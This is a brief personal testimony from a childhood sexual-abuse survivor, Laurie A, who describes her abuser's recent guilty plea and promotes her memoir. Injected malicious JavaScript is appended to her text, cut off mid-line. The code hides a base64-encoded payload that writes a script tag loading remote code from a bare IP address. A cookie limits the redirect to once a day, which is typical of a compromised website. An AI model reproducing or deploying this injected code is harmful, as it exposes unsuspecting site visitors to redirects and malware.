051 – Laurie A (United States)

I was a 14 year-old girl whose life was totally changed by a sexual predator who decided that I was going to be his next victim.

I am now a 50 year-old woman who just recently completed a criminal trial against this man for the crimes he committed against me as a child and guess what? He pled guilty and is currently serving a 10-year prison sentence.

This case just proves that sometimes justice can be delivered, no matter how long ago the crime happened.

I wrote about the journey to bring this man to justice, so if you’re interested in how I did it, or maybe how you can possibly find justice, it’s all in my memoir entitled “Justice Before Mercy”. This memoir is really every victim’s story…it just happens to have my name on it. ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘
